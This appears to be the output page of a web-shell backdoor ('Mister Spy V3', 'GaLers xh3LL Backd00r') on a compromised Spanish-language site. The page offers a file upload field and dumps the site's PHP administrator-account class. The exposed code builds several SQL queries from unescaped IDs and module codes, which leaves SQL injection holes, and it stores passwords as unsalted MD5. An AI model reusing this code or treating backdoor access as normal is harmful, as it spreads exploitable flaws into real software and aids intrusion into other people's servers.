Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/library/
Upload File :
Current File : /home/caballoscriollos/www/espanol/library/class.administradores.php

<?php 	

require_once('class.dbaccess.php');
require_once('class.administrador.php');

class Administradores extends DBAccess
{
	
	public function ParseFilter(array $filter)
	{
		$sql = '';

		$sql.= " WHERE 1=1 ";
		if ($filter['Nombre'] != "" ){
			$sql.= " AND a.Nombre LIKE '%" . DB::StringUnquoted($filter['Nombre']) . "%'";
		}
		if ($filter['Email'] != ""){
			$sql.= " AND a.Email LIKE '%" . DB::StringUnquoted($filter['Email']) . "%'";   
		}
		if ($filter['Apellido'] != ""){
			$sql.= " AND a.Apellido LIKE '%" . DB::StringUnquoted($filter['Apellido']) . "%'";   
		}

		return $sql;
	}
	
	public function GetPagesCount(Page $oPage, $filter = false)
	{	
		$sql = " SELECT COUNT(1) / " . DB::Number($oPage->Size) . " AS Count";
		$sql.= " FROM tblAdministradores ";
		
		if ($filter)
			$sql.= " " . $this->ParseFilter($filter);
		
		if (!($oRes = $this->GetQuery($sql)) )		
			return false;

		if ( !($oRow = $oRes->GetRow()) )
			return false;
		
		$Count = $oRow['Count'];
		
		return ceil($Count);
	}	

	
	public function GetByCredentials($Administrador,  $Clave)
	{
		$sql = " SELECT *";
		$sql.= " FROM tblAdministradores";
		$sql.= " WHERE Administrador = " . DB::String($Administrador);
		$sql.= " AND Clave = MD5(" . DB::String($Clave) . ")";		
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if ( !($oRow = $oRes->GetRow()) )
			return false;
		
		$oAdministrador = new Administrador();
		$oAdministrador->ParseFromArray($oRow);

		return $oAdministrador;		
	}
	
	
	public function GetAll(array $filter = NULL, Page $oPage = NULL)
	{
		$sql = " SELECT * ";
		$sql.= " FROM tblAdministradores a ";

		if ($filter)
			$sql.= " " . $this->ParseFilter($filter);

		$sql.= " ORDER BY a.Administrador ";

		if ($oPage != NULL)
			$sql.= " " . Pageable::ParsePage($oPage);

		if (!($oRes = $this->GetQuery($sql)))
			return false;

		$arr = array();

		while ($oRow = $oRes->GetRow())	
		{	
			$oAdministrador = new Administrador();
			$oAdministrador->ParseFromArray($oRow);
			
			array_push($arr, $oAdministrador);
			
			$oRes->MoveNext();
		}	
		
		return $arr;		
	}

	public function GetById($IdAdministrador)
	{
		$sql = "SELECT a.*";
		$sql.= " FROM tblAdministradores a";
		$sql.= " WHERE a.IdAdministrador = " . DB::Number($IdAdministrador);	
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oAdministrador = new Administrador();
		$oAdministrador->ParseFromArray($oRow);
		
		return $oAdministrador;		
	}

	public function GetPermisosById($IdAdministrador)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblAdministradores a";
		$sql.= " INNER JOIN tblAdministradorModulosPermisos amp ";
		$sql.= " ON  a.IdAdministrador = amp.IdAdministrador ";
		$sql.= " WHERE IdAdministrador = " . DB::Number($IdAdministrador);	

		if (!($oRes = $this->GetQuery($sql)))
			return false;

		if (!($oRow = $oRes->GetRow()))
			return false;

		$oAdministrador = new Administrador();
		$oAdministrador->ParseFromArray($oRow);

		return $oAdministrador;		
	}

	
	public function GetAllAdministradoresModulosPermisos( $IdAdministrador , $CodigoModulo )
	{
		$sql = " SELECT COUNT(1) as Count ";
		$sql.= " FROM tblAdministradores a";
		$sql.= " INNER JOIN tblAdministradorModulosPermisos amp ";
		$sql.= " ON a.IdAdministrador = amp.IdAdministrador ";
		$sql.= " WHERE a.IdAdministrador = " . $IdAdministrador;
		$sql.= " AND amp.CodigoModulo = '" . $CodigoModulo . "'";

		if (!($oRes = $this->GetQuery($sql)))
			return false;

		if ( !($oRow = $oRes->GetRow()) )
			return false;

		$Count = $oRow['Count'];

		if ($Count != 1)
			return false;

		return true;

	}

	public function CheckAdministrador($Administrador , $IdAdministrador = NULL)
	{
		$sql = " SELECT COUNT(1) as Count ";
		$sql.= " FROM tblAdministradores ";
		$sql.= " WHERE Administrador = " . DB::String($Administrador);	

		if ( $IdAdministrador != "" ){
			$sql.= " AND IdAdministrador <> " . $IdAdministrador;
		}
		
		if (!($oRes = $this->GetQuery($sql)))
			return true;	/* SI NO PUDO REALIZAR LA CONSULTA, LE INFORMO QUE EXISTE */

		if (!($oRow = $oRes->GetRow()))
			return true;	/* SI NO PUDO TRAER LOS DATOS POR PROBLEMAS EN LA BBDD, LE INFORMO QUE EXISTE */

		$Count = $oRow['Count'];

		if ($Count != 1)
			return false;	/* NO EXISTE EL EMAIL */

		return true;

	}
	
	public function CheckEmail($Email , $IdAdministrador = NULL )
	{
		$sql = " SELECT COUNT(1) as Count ";
		$sql.= " FROM tblAdministradores ";
		$sql.= " WHERE Email = " . DB::String($Email);

		if ( $IdAdministrador != "" ){
			$sql.= " AND IdAdministrador <> " . $IdAdministrador;
		}
		
		if (!($oRes = $this->GetQuery($sql)))
			return true;	/* SI NO PUDO REALIZAR LA CONSULTA, LE INFORMO QUE EXISTE */

		if (!($oRow = $oRes->GetRow()))
			return true;	/* SI NO PUDO TRAER LOS DATOS POR PROBLEMAS EN LA BBDD, LE INFORMO QUE EXISTE */

		$Count = $oRow['Count'];

		if ($Count == 0)
			return false;	/* NO EXISTE EL EMAIL */

		return true;

	}

	public function GetCountRows(array $filter = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblAdministradores";

		if ($filter)
			$sql.= $this->ParseFilter($filter);

		$sql.= " ORDER BY Nombre";
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;

		$CountRows = $oRes->NumRows();

		return $CountRows;
	}

	public function Create(Administrador $oAdministrador)
	{
		$arr = array
		(
			'IdAdministradorPerfil'	=> DB::String($oAdministrador->IdAdministradorPerfil),
			'Administrador' 		=> DB::String($oAdministrador->Administrador),
			'Clave' 				=> DB::String(md5($oAdministrador->Clave)),
			'Nombre'				=> DB::String($oAdministrador->Nombre),
			'Apellido'				=> DB::String($oAdministrador->Apellido),
			'Email'					=> DB::String($oAdministrador->Email),
			'Telefono'				=> DB::String($oAdministrador->Telefono),
			'Celular'				=> DB::String($oAdministrador->Celular),
			'Estado'				=> DB::String('A')
		);
		
		if (!$this->Insert('tblAdministradores', $arr))
			return false;

		$oAdministrador->IdAdministrador = DBAccess::GetLastInsertId();

		return $oAdministrador;
	}
	
	public function CreatePermisos(Administrador $oAdministrador)
	{
		
		$arr = array
		(
			'IdAdministrador'		=> DB::Number($oAdministrador->IdAdministrador),
			'CodigoModulo'			=> DB::String($oAdministrador->CodigoModulo)
		);

		if (!$this->Insert('tblAdministradorModulosPermisos', $arr))
			return false;

		return $oAdministrador;
	}

	public function Update(Administrador $oAdministrador)
	{
		$where = " IdAdministrador = " . DB::Number($oAdministrador->IdAdministrador);
		
		$arr = array
		(
			'IdAdministradorPerfil'	=> DB::String($oAdministrador->IdAdministradorPerfil),
			'Administrador' 		=> DB::String($oAdministrador->Administrador),
 			'Nombre'				=> DB::String($oAdministrador->Nombre),
			'Apellido'				=> DB::String($oAdministrador->Apellido),
			'Email'					=> DB::String($oAdministrador->Email),
			'Telefono'				=> DB::String($oAdministrador->Telefono),
			'Celular'				=> DB::String($oAdministrador->Celular),
			'Estado'				=> DB::String('A')
		);
		
		if (!DBAccess::Update('tblAdministradores', $arr, $where))
			return false;
		
		return $oAdministrador;
	}
	
	
	public function ChangePassword(Administrador $oAdministrador)
	{
		$where = " IdAdministrador = " . DB::Number($oAdministrador->IdAdministrador);
		
		$arr = array('Clave' => DB::String(md5($oAdministrador->Clave)));
		
		if (!DBAccess::Update('tblAdministradores', $arr, $where))
			return false;
		
		/* enviamos mail */
		$oAdministrador->SendMailChangePassword();
		
		return $oAdministrador;
	}
	

	public function Delete($IdAdministrador)
	{
		if (!DBAccess::$db->Begin())
			return false;
			
		$where = " IdAdministrador = " . DB::Number($IdAdministrador);
		if (!DBAccess::Delete('tblAdministradorEventos', $where))
		{
			DBAccess::$db->Rollback();	
			return false;
		}
		if (!DBAccess::Delete('tblAdministradores', $where))
		{
			DBAccess::$db->Rollback();	
			return false;
		}

		DBAccess::$db->Commit();
		
		return true;	
	}
	
	public function DeletePermisos($IdAdministrador)
	{
		if (!DBAccess::$db->Begin())
			return false;
			
		$where = " IdAdministrador = " . DB::Number($IdAdministrador);
		if (!DBAccess::Delete('tblAdministradorModulosPermisos', $where))
		{
			DBAccess::$db->Rollback();	
			return false;
		}

		DBAccess::$db->Commit();
		
		return true;	
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat